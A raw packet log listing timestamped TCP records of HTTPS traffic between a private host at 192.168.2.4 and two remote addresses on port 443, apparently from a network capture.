Nov 20, 2024 04:07:59.070733070 CET	62362	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.070738077 CET	443	62362	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.073427916 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.073487043 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.073590040 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.073802948 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.073834896 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.077033043 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.077115059 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.077178001 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.077224970 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.077245951 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.077260017 CET	62361	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.077266932 CET	443	62361	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.079570055 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.079655886 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.079752922 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.080004930 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.080041885 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.081141949 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.081294060 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.081356049 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.081469059 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.081473112 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.081489086 CET	62360	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.081492901 CET	443	62360	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.083770037 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.083796024 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.083865881 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.084062099 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.084074974 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.093796968 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.093972921 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.094043016 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.094079018 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.094099998 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.094122887 CET	62363	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.094134092 CET	443	62363	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.095916986 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.096002102 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.096095085 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.096251965 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.096290112 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.133127928 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.133182049 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.133362055 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.133455992 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.133455992 CET	62364	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.133498907 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.133536100 CET	443	62364	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.135924101 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.135943890 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.136020899 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.136162043 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.136169910 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.183495045 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.183602095 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.184950113 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.184978008 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.185198069 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.198281050 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.239335060 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.391329050 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.391350031 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.391422033 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.391475916 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.391510963 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.391546011 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.391596079 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.392441034 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.392477989 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.392518044 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.392522097 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.392545938 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.392570972 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.396747112 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.396779060 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.396832943 CET	62365	443	192.168.2.4	20.12.23.50
Nov 20, 2024 04:07:59.396847010 CET	443	62365	20.12.23.50	192.168.2.4
Nov 20, 2024 04:07:59.721683025 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.722532988 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.722593069 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.722620010 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.723186016 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.723200083 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.723540068 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.723603010 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.724031925 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.724046946 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.725048065 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.725338936 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.725358963 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.725841999 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.725847006 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.732628107 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.733294010 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.733325005 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.733777046 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.733783960 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.774534941 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.774890900 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.774900913 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.775789976 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.775795937 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.819653988 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.819801092 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.819911957 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.819998026 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.819998980 CET	62367	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.820043087 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.820075035 CET	443	62367	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.822123051 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.822168112 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.822252989 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.822329044 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.822336912 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.823772907 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.823924065 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.823981047 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.824006081 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.824006081 CET	62368	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.824024916 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.824035883 CET	443	62368	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.824775934 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.824843884 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.824901104 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.825221062 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.825244904 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.825258970 CET	62366	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.825265884 CET	443	62366	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.825759888 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.825839043 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.825917959 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.825999975 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.826031923 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.827722073 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.827764034 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.827852011 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.827924967 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.827943087 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.830919027 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.831063032 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.831132889 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.831255913 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.831267118 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.831279993 CET	62369	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.831295013 CET	443	62369	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.833205938 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.833229065 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.833332062 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.833424091 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.833437920 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.907433987 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.907489061 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.907543898 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.907732010 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.907732010 CET	62370	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.907746077 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.907757044 CET	443	62370	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.910587072 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.910629034 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:07:59.910701990 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.910978079 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:07:59.910996914 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.469136000 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.469990015 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.470024109 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.470524073 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.470537901 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.474332094 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.474783897 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.474843979 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.475112915 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.475126982 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.489830017 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.490123034 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.490140915 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.490529060 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.490649939 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.490662098 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.490864992 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.490897894 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.491199017 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.491209030 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.558602095 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.559098005 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.559129953 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.559547901 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.559556007 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762201071 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762305975 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762428999 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762438059 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762516975 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762542963 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.762561083 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762696028 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762708902 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.762748957 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.762775898 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762793064 CET	62372	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.762799978 CET	443	62372	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762840986 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.762892962 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.762897968 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763191938 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763200045 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.763211012 CET	62374	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763215065 CET	443	62374	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.763226986 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763227940 CET	62371	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763350964 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.763385057 CET	443	62371	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.763967991 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.763988972 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.764007092 CET	62373	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.764014959 CET	443	62373	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.766978979 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.767033100 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.767206907 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.767903090 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.767920971 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.768171072 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.768258095 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.768846989 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.768858910 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.768930912 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.768949986 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769202948 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769213915 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.769263029 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769263029 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769368887 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.769447088 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.769512892 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769875050 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.769984961 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.858158112 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.858227968 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.858485937 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.858485937 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.858485937 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.860745907 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.860788107 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:00.860874891 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.861000061 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:00.861011982 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.085500956 CET	62375	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.085532904 CET	443	62375	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.414047003 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.414556026 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.414583921 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.414975882 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.414980888 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.423645973 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.424237967 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.424326897 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.424772024 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.424827099 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.427485943 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.427809000 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.427815914 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.428126097 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.428129911 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.434549093 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.435035944 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.435097933 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.435205936 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.435220957 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.513917923 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.514082909 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.514137983 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.515388966 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.515403032 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.515413046 CET	62376	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.515417099 CET	443	62376	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.517968893 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.518059969 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.518172979 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.518261909 CET	62381	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.518281937 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.523396015 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.523463964 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.523536921 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.523652077 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.523652077 CET	62379	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.523695946 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.523724079 CET	443	62379	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.526525974 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.526612043 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.526698112 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.527019978 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.527107000 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.528803110 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.529211044 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.529299021 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.529901981 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.529957056 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.534487963 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.534560919 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.534607887 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.534744978 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.534750938 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.534761906 CET	62378	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.534765005 CET	443	62378	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.536247015 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.536395073 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.536453962 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.536531925 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.536531925 CET	62377	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.536572933 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.536602974 CET	443	62377	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.540570021 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.540657043 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.540740967 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.542220116 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.542262077 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.542346001 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.542440891 CET	62383	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.542524099 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.542572021 CET	62384	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.542610884 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.633569956 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.633656979 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.633728027 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.635822058 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.635867119 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.635906935 CET	62380	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.635921955 CET	443	62380	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.638360023 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.638411045 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:01.638487101 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.638638020 CET	62385	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:01.638643980 CET	443	62385	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.165848970 CET	443	62382	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.166770935 CET	443	62381	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.176817894 CET	443	62383	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.182290077 CET	443	62384	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:02.210649967 CET	62382	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:02.210719109 CET	62381	443	192.168.2.4	13.107.246.45
